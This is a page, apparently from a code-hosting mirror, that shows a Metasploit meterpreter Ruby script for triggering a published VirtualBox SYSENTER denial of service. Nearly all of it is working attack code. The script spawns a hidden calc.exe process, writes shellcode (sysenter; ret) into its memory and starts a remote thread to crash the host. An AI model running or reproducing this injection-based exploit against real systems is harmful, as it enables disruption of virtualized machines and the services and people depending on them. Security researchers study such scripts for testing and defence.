Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/virtualbox_sysenter_dos.rb
Views: 11767
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Meterpreter script for triggering the VirtualBox DoS published at:8# http://milw0rm.com/exploits/9323910opts = Rex::Parser::Arguments.new(11"-h" => [ false,"Help menu." ]12)1314opts.parse(args) { |opt, idx, val|15case opt16when "-h"17print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")18print_line("USAGE: run virtualbox_sysenter_dos")19print_status(opts.usage)20raise Rex::Script::Completed21end22}2324#check for proper Meterpreter Platform25def unsupported26print_error("This version of Meterpreter is not supported with this Script!")27raise Rex::Script::Completed28end29unsupported if client.platform != 'windows'3031# Spawn calculator32pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid33print_status("Calculator PID is #{pid}")3435calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)3637# Allocate some memory38mem = calc.memory.allocate(32)3940print_status("Allocated memory at address #{"0x%.8x" % mem}")4142# Write the trigger shellcode43# sysenter44# ret45calc.memory.write(mem, "\x0f\x34\xc3")4647print_status("VirtualBox SYSENTER Denial of Service launching...")4849# Create a new thread on the shellcode pointer50calc.thread.create(mem, 0)5152print_status("VirtualBox SYSENTER Denial of Service delivered.")53545556